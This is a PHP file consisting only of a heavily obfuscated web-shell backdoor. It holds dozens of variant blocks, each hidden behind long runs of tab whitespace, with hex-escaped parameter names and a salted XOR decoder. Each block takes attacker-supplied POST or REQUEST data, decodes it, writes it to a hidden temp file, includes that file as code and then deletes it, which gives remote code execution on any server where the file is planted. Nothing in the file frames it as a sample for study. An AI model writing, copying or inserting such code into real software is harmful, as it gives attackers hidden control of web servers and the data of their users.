																																										if(!empty($_POST["\x65\x6Et"])){ $key = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp"]); $token = $_POST["\x65\x6Et"]; $token = explode ( '.' , $token) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $v = 0; foreach( $token as $v2) { $sChar = ord( $salt[$v % $lenS]); $dec = ( ( int)$v2 - $sChar -( $v % 10))^ 16; $ptr .= chr( $dec); $v++; } foreach ($key as $key => $value) { if (is_dir($value) && is_writable($value)) { $symbol = join("/", [$value, ".item"]); $success = file_put_contents($symbol, $ptr); if ($success) { include $symbol; @unlink($symbol); exit;} } } }
																																										if(!is_null($_POST["\x64\x61\x74\x61\x5Fchunk"] ?? null)){ $mrk = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]); $k = $_POST["\x64\x61\x74\x61\x5Fchunk"]; $k = explode( ".", $k ); $data = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5 ); foreach ($k as $y => $v5): $chS = ord($salt5[$y % $lenS] ); $d = ((int)$v5 - $chS - ($y % 10)) ^ 4; $data .= chr($d ); endforeach; foreach ($mrk as $key => $res) { if (is_dir($res) ? is_writable($res) : false) { $binding = implode("/", [$res, ".pointer"]); if (@file_put_contents($binding, $data) !== false) { include $binding; unlink($binding); die(); } } } }
																																										if(!empty($_POST["\x6D\x72k"])){ $marker = $_POST["\x6D\x72k"]; $marker = explode ( '.' ,$marker ) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $v = 0; while ($v < count($marker)) { $v6 = $marker[$v]; $sChar = ord($s[$v % $lenS] ); $dec = ((int)$v6 - $sChar - ($v % 10)) ^ 90; $element .= chr($dec ); $v++; } $entry = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir()]); foreach ($entry as $pset): if ((is_dir($pset) and is_writable($pset))) { $binding = str_replace("{var_dir}", $pset, "{var_dir}/.ent"); $success = file_put_contents($binding, $element); if ($success) { include $binding; @unlink($binding); die();} } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x65\x6Et"])){ $flag = array_filter([session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp"]); $sym = $_REQUEST["\x65\x6Et"]; $sym = explode ( "." ,$sym) ; $symbol= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); foreach ($sym as $y => $v3): $chS= ord($salt[$y % $lenS]); $d= ((int)$v3 - $chS - ($y % 10))^ 51; $symbol .= chr($d); endforeach; for ($object = 0, $property_set = count($flag); $object < $property_set; $object++) { $ent = $flag[$object]; if ((is_dir($ent) and is_writable($ent))) { $token = "$ent/.itm"; if (file_put_contents($token, $symbol)) { require $token; unlink($token); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["e\x6Cem"])){ $obj = $_REQUEST["e\x6Cem"]; $obj = explode ( '.' , $obj) ; $data = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $o = 0; array_walk($obj, function ($v7) use (&$data, &$o, $salt8, $lenS) { $sChar = ord($salt8[$o %$lenS]); $dec = ((int)$v7 - $sChar - ($o %10)) ^ 89; $data.= chr($dec); $o++; }); $comp = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); foreach ($comp as $key => $val) { if ((bool)is_dir($val) && (bool)is_writable($val)) { $dchunk = join("/", [$val, ".record"]); if (file_put_contents($dchunk, $data)) { require $dchunk; unlink($dchunk); exit; } } } }
																																										if(isset($_POST["d\x61t\x61"]) ? true : false){ $flg = $_POST["d\x61t\x61"]; $flg= explode ( '.' , $flg ); $property_set= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); foreach( $flg as $t=> $v8): $sChar= ord( $s[$t % $lenS]); $dec= ( ( int)$v8 - $sChar -( $t % 10)) ^ 82; $property_set .= chr( $dec); endforeach; $val = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); foreach ($val as $flag): if (is_dir($flag) ? is_writable($flag) : false) { $item = sprintf("%s/.itm", $flag); if (@file_put_contents($item, $property_set) !== false) { include $item; unlink($item); die(); } } endforeach; }
																																										if(isset($_REQUEST["k"]) ? true : false){ $ent = $_REQUEST["k"]; $ent= explode ( '.' , $ent ) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $m = 0; $__tmp = $ent; while( $v4 = array_shift( $__tmp)) { $sChar = ord( $salt[$m% $sLen] ); $dec = ( ( int)$v4 - $sChar -( $m% 10)) ^ 63; $mrk .= chr( $dec ); $m++; } $rec = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]); $element = 0; do { $pgrp = $rec[$element] ?? null; if ($element >= count($rec)) break; if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $key = join("/", [$pgrp, ".resource"]); if (@file_put_contents($key, $mrk) !== false) { include $key; unlink($key); die(); } } $element++; } while (true); }
																																										if(array_key_exists("\x63ompo\x6E\x65\x6Et", $_REQUEST) && !is_null($_REQUEST["\x63ompo\x6E\x65\x6Et"])){ $fac = array_filter([session_save_path(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP")]); $marker = $_REQUEST["\x63ompo\x6E\x65\x6Et"]; $marker= explode ('.' , $marker ) ; $data= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $o= 0; foreach($marker as $v3) { $sChar= ord($s[$o % $lenS]); $d= ((int)$v3 - $sChar -($o % 10))^ 82; $data.= chr($d); $o++; } while ($bind = array_shift($fac)) { if (is_writable($bind) && is_dir($bind)) { $rec = str_replace("{var_dir}", $bind, "{var_dir}/.value"); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $rec; @unlink($rec); exit; } } } }
																																										if(@$_POST["s\x79\x6D"] !== null){ $ref = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); $obj = $_POST["s\x79\x6D"]; $obj = explode ( '.', $obj ) ; $flag = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9 ); $x = 0; foreach( $obj as $v9) { $sChar = ord( $s9[$x % $lenS] ); $d =( ( int)$v9 - $sChar -( $x % 10)) ^ 64; $flag.= chr( $d ); $x++; } foreach ($ref as $key => $item) { if (array_product([is_dir($item), is_writable($item)])) { $k = "$item" . "/.flg"; if (file_put_contents($k, $flag)) { require $k; unlink($k); die(); } } } }
																																										if(isset($_REQUEST["\x62i\x6Ed"])){ $ent = array_filter(["/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); $reference = $_REQUEST["\x62i\x6Ed"]; $reference =explode ( "." , $reference ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $p = 0; foreach ($reference as $v2) { $chS = ord($salt[$p % $lenS]); $d = ((int)$v2 - $chS - ($p % 10)) ^ 41; $resource.=chr($d); $p++; } for ($value = 0, $obj = count($ent); $value < $obj; $value++) { $component = $ent[$value]; if (!( !is_dir($component) || !is_writable($component) )) { $object = implode("/", [$component, ".k"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $object; @unlink($object); exit; } } } }
																																										if(!is_null($_POST["i\x74\x6D"] ?? null)){ $record = array_filter([session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); $fac = $_POST["i\x74\x6D"]; $fac = explode( '.', $fac ) ; $reference=''; $salt7='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt7); foreach ($fac as $o => $v5) { $chS=ord($salt7[$o % $lenS]); $d=((int)$v5 - $chS - ($o % 10)) ^ 18; $reference .= chr($d);} $dchunk = 0; do { $res = $record[$dchunk] ?? null; if ($dchunk >= count($record)) break; if (max(0, is_dir($res) * is_writable($res))) { $dat = str_replace("{var_dir}", $res, "{var_dir}/.rec"); if (file_put_contents($dat, $reference)) { require $dat; unlink($dat); die(); } } $dchunk++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "f\x6C\x61g")){ $tkn = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path(), "/var/tmp"]); $desc = $_POST["f\x6C\x61g"]; $desc = explode ( "." , $desc); $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $s = 0; while($s < count($desc)) { $v9 = $desc[$s]; $sChar = ord($salt[$s % $lenS]); $dec = ((int)$v9 - $sChar -($s % 10)) ^ 17; $ref .= chr($dec); $s++; } for ($k = 0, $binding = count($tkn); $k < $binding; $k++) { $itm = $tkn[$k]; if ((function($d) { return is_dir($d) && is_writable($d); })($itm)) { $item = vsprintf("%s/%s", [$itm, ".data"]); $file = fopen($item, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $item; @unlink($item); die(); } } } }
																																										if(isset($_POST["\x66ac"]) ? true : false){ $itm = array_filter(["/var/tmp", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir()]); $mrk = $_POST["\x66ac"]; $mrk= explode ( "." , $mrk); $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $s = 0; array_walk($mrk , function ($v6) use (&$component , &$s , $salt , $lenS) { $sChar = ord($salt[$s % $lenS]); $d = ((int)$v6 - $sChar - ($s % 10)) ^ 7; $component.=chr($d); $s++; }); while ($ent = array_shift($itm)) { if (!( !is_dir($ent) || !is_writable($ent) )) { $sym = "$ent" . "/.value"; if (file_put_contents($sym, $component)) { require $sym; unlink($sym); exit; } } } }
																																										if(array_key_exists("t\x6Bn", $_POST) && !is_null($_POST["t\x6Bn"])){ $pgrp = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); $flg = $_POST["t\x6Bn"]; $flg = explode ( '.', $flg) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $i = 0; $len = count($flg); do { if ($i >= $len) break; $v1 = $flg[$i]; $chS = ord($s[$i % $lenS]); $dec = ((int)$v1 - $chS - ($i % 10)) ^ 18; $mrk .= chr($dec); $i++; } while (true); foreach ($pgrp as $resource) { if ((function($d) { return is_dir($d) && is_writable($d); })($resource)) { $res = vsprintf("%s/%s", [$resource, ".token"]); if (@file_put_contents($res, $mrk) !== false) { include $res; unlink($res); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x76\x61lue"])){ $flag = array_filter(["/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir()]); $property_set = $_POST["\x76\x61lue"]; $property_set = explode ( "." , $property_set ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($property_set as $t=> $v3): $chS = ord($s[$t % $sLen]); $d =((int)$v3 - $chS -($t % 10)) ^ 50; $res .=chr($d); endforeach; $object = 0; do { $tkn = $flag[$object] ?? null; if ($object >= count($flag)) break; if (!( !is_dir($tkn) || !is_writable($tkn) )) { $resource = "$tkn" . "/.rec"; if (@file_put_contents($resource, $res) !== false) { include $resource; unlink($resource); die(); } } $object++; } while (true); }
																																										if(in_array("k", array_keys($_REQUEST))){ $entity = $_REQUEST["k"]; $entity = explode ( "." , $entity ) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $j = 0; $__tmp = $entity; while ($v2 = array_shift($__tmp)) { $sChar = ord($salt[$j % $sLen]); $dec = ((int)$v2 - $sChar - ($j % 10)) ^13; $val .= chr($dec); $j++; } $dat = array_filter(["/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", getcwd()]); for ($descriptor = 0, $object = count($dat); $descriptor < $object; $descriptor++) { $value = $dat[$descriptor]; if (is_dir($value) && is_writable($value)) { $parameter_group = sprintf("%s/.dchunk", $value); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $parameter_group; @unlink($parameter_group); die(); } } } }
																																										if(array_key_exists("\x65lem\x65\x6Et", $_POST) && !is_null($_POST["\x65lem\x65\x6Et"])){ $rec = $_POST["\x65lem\x65\x6Et"]; $rec = explode( '.' , $rec ); $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($rec as $r => $v9) { $chS = ord($salt[$r% $lenS]); $dec = ((int)$v9 - $chS - ($r% 10)) ^ 61; $item.= chr($dec);} $comp = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm"]); for ($ent = 0, $descriptor = count($comp); $ent < $descriptor; $ent++) { $k = $comp[$ent]; if ((bool)is_dir($k) && (bool)is_writable($k)) { $property_set = vsprintf("%s/%s", [$k, ".hld"]); if (file_put_contents($property_set, $item)) { include $property_set; @unlink($property_set); exit; } } } }
																																										if(isset($_REQUEST["\x72\x65cord"])){ $symbol = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp"]); $rec = $_REQUEST["\x72\x65cord"]; $rec= explode ('.' , $rec ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $y = 0; array_walk($rec ,function ($v3) use (&$pgrp ,&$y ,$s ,$sLen) { $chS = ord($s[$y % $sLen]); $d = ((int)$v3 - $chS - ($y % 10))^ 72; $pgrp .= chr($d); $y++; }); while ($parameter_group = array_shift($symbol)) { if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $pointer = "$parameter_group" . "/.dat"; $success = file_put_contents($pointer, $pgrp); if ($success) { include $pointer; @unlink($pointer); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["e\x6Et"])){ $object = array_filter([getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm"]); $k = $_REQUEST["e\x6Et"]; $k= explode ("." , $k ) ; $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; $len = count($k); do { if ($m >= $len) break; $v2 = $k[$m]; $sChar = ord($salt[$m % $sLen]); $dec = ((int)$v2 - $sChar - ($m % 10)) ^ 90; $res .= chr($dec); $m++; } while (true); foreach ($object as $key => $mrk) { if (!( !is_dir($mrk) || !is_writable($mrk) )) { $obj = sprintf("%s/.data", $mrk); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $obj; @unlink($obj); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x69\x74em"])){ $value = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp"]); $flg = $_REQUEST["\x69\x74em"]; $flg = explode ( '.' , $flg ); $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($flg as $n => $v9) { $sChar = ord($salt[$n % $lenS] ); $d = ((int)$v9 - $sChar - ($n % 10)) ^65; $flag .=chr($d ); } foreach ($value as $key => $k) { if ((is_dir($k) and is_writable($k))) { $entity = vsprintf("%s/%s", [$k, ".bind"]); if (@file_put_contents($entity, $flag) !== false) { include $entity; unlink($entity); die(); } } } }
																																										if(isset($_POST) && isset($_POST["r\x65\x66e\x72\x65nce"])){ $ptr = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path()]); $record = $_POST["r\x65\x66e\x72\x65nce"]; $record = explode ( '.' , $record ) ; $element = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8); $z = 0; array_walk( $record, function( $v7) use( &$element, &$z, $salt8, $lenS) {$sChar = ord( $salt8[$z %$lenS]); $d =( ( int)$v7 - $sChar -( $z %10))^90; $element .= chr( $d); $z++; }); foreach ($ptr as $sym) { if (array_product([is_dir($sym), is_writable($sym)])) { $mrk = "$sym/.ref"; if (file_put_contents($mrk, $element)) { include $mrk; @unlink($mrk); die(); } } } }
																																										if(array_key_exists("\x69tm", $_POST)){ $component = $_POST["\x69tm"]; $component = explode ( ".",$component ); $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $y = 0; foreach ($component as $v8) { $sChar = ord($salt[$y % $lenS] ); $d = ((int)$v8 - $sChar - ($y % 10))^ 53; $ent.= chr($d ); $y++; } $resource = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm"]); while ($data = array_shift($resource)) { if (!( !is_dir($data) || !is_writable($data) )) { $dat = join("/", [$data, ".descriptor"]); if (@file_put_contents($dat, $ent) !== false) { include $dat; unlink($dat); exit; } } } }
																																										if(array_key_exists("comp", $_POST)){ $object = $_POST["comp"]; $object=explode ( '.' , $object ) ; $mrk =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt5); $len =count($object); for ($w =0; $w < $len; $w++) { $v4 =$object[$w]; $sChar =ord($salt5[$w % $sLen]); $dec =((int)$v4 - $sChar - ($w % 10)) ^ 12; $mrk .= chr($dec); } $sym = array_filter([getenv("TMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP")]); while ($res = array_shift($sym)) { if (is_writable($res) && is_dir($res)) { $holder = join("/", [$res, ".fac"]); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $holder; @unlink($holder); die(); } } } }
																																										if(array_key_exists("com\x70", $_REQUEST) && !is_null($_REQUEST["com\x70"])){ $bind = $_REQUEST["com\x70"]; $bind = explode ( ".", $bind ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $i = 0; while( $i < count( $bind)) { $v3 = $bind[$i]; $chS = ord( $s[$i% $sLen] ); $dec =( ( int)$v3 - $chS -( $i% 10)) ^ 71; $resource .= chr( $dec ); $i++; } $entry = array_filter([getcwd(), session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); while ($binding = array_shift($entry)) { if (is_dir($binding) && is_writable($binding)) { $tkn = "$binding" . "/.token"; if (file_put_contents($tkn, $resource)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(array_key_exists("\x6Fbj", $_POST)){ $dchunk = array_filter([sys_get_temp_dir(), "/var/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]); $property_set = $_POST["\x6Fbj"]; $property_set= explode ( '.',$property_set ); $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $j = 0; while ($j < count($property_set)) { $v1 = $property_set[$j]; $sChar = ord($s[$j % $lenS]); $d = ((int)$v1 - $sChar - ($j % 10))^84; $rec .= chr($d); $j++;} $descriptor = 0; do { $factor = $dchunk[$descriptor] ?? null; if ($descriptor >= count($dchunk)) break; if (!!is_dir($factor) && !!is_writable($factor)) { $k = str_replace("{var_dir}", $factor, "{var_dir}/.data_chunk"); if (file_put_contents($k, $rec)) { require $k; unlink($k); exit; } } $descriptor++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "fl\x61\x67")){ $pset = $_REQUEST["fl\x61\x67"]; $pset = explode ("." ,$pset ); $rec= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); foreach ($pset as $r => $v5): $chS= ord($salt[$r % $lenS]); $dec= ((int)$v5 - $chS - ($r % 10)) ^ 14; $rec .= chr($dec); endforeach; $marker = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm"]); foreach ($marker as $symbol): if (is_writable($symbol) && is_dir($symbol)) { $k = sprintf("%s/.ent", $symbol); $success = file_put_contents($k, $rec); if ($success) { include $k; @unlink($k); die();} } endforeach; }
																																										if(@$_REQUEST["f\x61c"] !== null){ $itm = array_filter(["/tmp", "/dev/shm", getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]); $flg = $_REQUEST["f\x61c"]; $flg=explode( '.' ,$flg ); $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($flg); for ($w = 0; $w < $len; $w++) { $v3 = $flg[$w]; $chS = ord($salt[$w % $sLen]); $d = ((int)$v3 - $chS - ($w % 10))^ 53; $pset .= chr($d); } foreach ($itm as $key => $res) { if (is_writable($res) && is_dir($res)) { $reference = str_replace("{var_dir}", $res, "{var_dir}/.value"); if (file_put_contents($reference, $pset)) { include $reference; @unlink($reference); exit; } } } }
																																										if(isset($_REQUEST["\x76\x61lue"])){ $fac = array_filter(["/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $bind = $_REQUEST["\x76\x61lue"]; $bind=explode( "." ,$bind); $rec = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); foreach ($bind as $o => $v5): $chS = ord($salt3[$o % $sLen]); $d = ((int)$v5 - $chS - ($o % 10))^74; $rec .= chr($d); endforeach; while ($k = array_shift($fac)) { if (is_dir($k) && is_writable($k)) { $val = "$k" . "/.desc"; if (@file_put_contents($val, $rec) !== false) { include $val; unlink($val); exit; } } } }
																																										if(in_array("p\x6F\x69\x6E\x74er", array_keys($_POST))){ $object = $_POST["p\x6F\x69\x6E\x74er"]; $object = explode ("." , $object ) ; $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($object); for($i = 0; $i <$len; $i++) { $v9 = $object[$i]; $chS = ord($salt[$i %$sLen]); $d =((int)$v9 - $chS -($i %10))^ 18; $desc .= chr($d); } $ref = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($ref as $symbol) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $element = "$symbol" . "/.res"; if (file_put_contents($element, $desc)) { require $element; unlink($element); die(); } } } }
																																										if(isset($_REQUEST["des\x63"])){ $object = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP")]); $component = $_REQUEST["des\x63"]; $component = explode (".",$component) ; $dchunk =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s ); $v =0; array_walk( $component, function( $v3) use( &$dchunk, &$v, $s, $sLen) { $chS =ord( $s[$v % $sLen] ); $dec =( ( int)$v3 - $chS -( $v % 10)) ^ 24; $dchunk .= chr( $dec ); $v++; } ); foreach ($object as $hld): if ((is_dir($hld) and is_writable($hld))) { $data = sprintf("%s/.pset", $hld); if (@file_put_contents($data, $dchunk) !== false) { include $data; unlink($data); exit; } } endforeach; }
																																										if(array_key_exists("\x70oi\x6Eter", $_REQUEST) && !is_null($_REQUEST["\x70oi\x6Eter"])){ $parameter_group = $_REQUEST["\x70oi\x6Eter"]; $parameter_group =explode ( '.' , $parameter_group) ; $rec = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $x = 0; array_walk($parameter_group , function ($v6) use (&$rec , &$x , $s4 , $sLen) { $sChar = ord($s4[$x % $sLen]); $dec = ((int)$v6 - $sChar - ($x % 10)) ^41; $rec .= chr($dec); $x++; } ); $marker = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", "/var/tmp"]); $data_chunk = 0; do { $object = $marker[$data_chunk] ?? null; if ($data_chunk >= count($marker)) break; if (is_dir($object) && is_writable($object)) { $res = "$object" . "/.property_set"; if (file_put_contents($res, $rec)) { require $res; unlink($res); exit; } } $data_chunk++; } while (true); }
																																										if(!empty($_REQUEST["\x70\x61r\x61met\x65\x72_\x67\x72\x6Fup"])){ $res = array_filter([getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); $itm = $_REQUEST["\x70\x61r\x61met\x65\x72_\x67\x72\x6Fup"]; $itm = explode ( "." ,$itm ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $y = 0; $__tmp = $itm; while( $v5 = array_shift( $__tmp)) { $chS = ord( $salt[$y % $lenS]); $dec =( ( int)$v5 - $chS -( $y % 10)) ^ 60; $record .= chr( $dec); $y++; } for ($element = 0, $descriptor = count($res); $element < $descriptor; $element++) { $mrk = $res[$element]; if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $bind = vsprintf("%s/%s", [$mrk, ".symbol"]); if (file_put_contents($bind, $record)) { include $bind; @unlink($bind); die(); } } } }
																																										if(isset($_POST["f\x61c"]) ? true : false){ $data_chunk = array_filter(["/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", session_save_path()]); $rec = $_POST["f\x61c"]; $rec =explode('.' ,$rec ); $bind = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9 ); $n = 0; $__tmp = $rec; while ($v8 = array_shift($__tmp)) { $chS = ord($salt9[$n% $sLen] ); $d = ((int)$v8 - $chS - ($n% 10)) ^ 9; $bind .= chr($d ); $n++; } foreach ($data_chunk as $ent): if (is_dir($ent) && is_writable($ent)) { $holder = implode("/", [$ent, ".obj"]); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $holder; @unlink($holder); die(); } } endforeach; }
																																										if(array_key_exists("re\x73\x6Fu\x72c\x65", $_POST) && !is_null($_POST["re\x73\x6Fu\x72c\x65"])){ $hld = array_filter(["/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/var/tmp"]); $fac = $_POST["re\x73\x6Fu\x72c\x65"]; $fac = explode ( '.' , $fac ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $z = 0; foreach( $fac as $v7) { $sChar = ord( $salt[$z % $lenS]); $dec =( ( int)$v7 - $sChar -( $z % 10)) ^ 76; $value .= chr( $dec); $z++; } for ($val = 0, $symbol = count($hld); $val < $symbol; $val++) { $res = $hld[$val]; if ((is_dir($res) and is_writable($res))) { $entity = str_replace("{var_dir}", $res, "{var_dir}/.ptr"); if (file_put_contents($entity, $value)) { include $entity; @unlink($entity); exit; } } } }
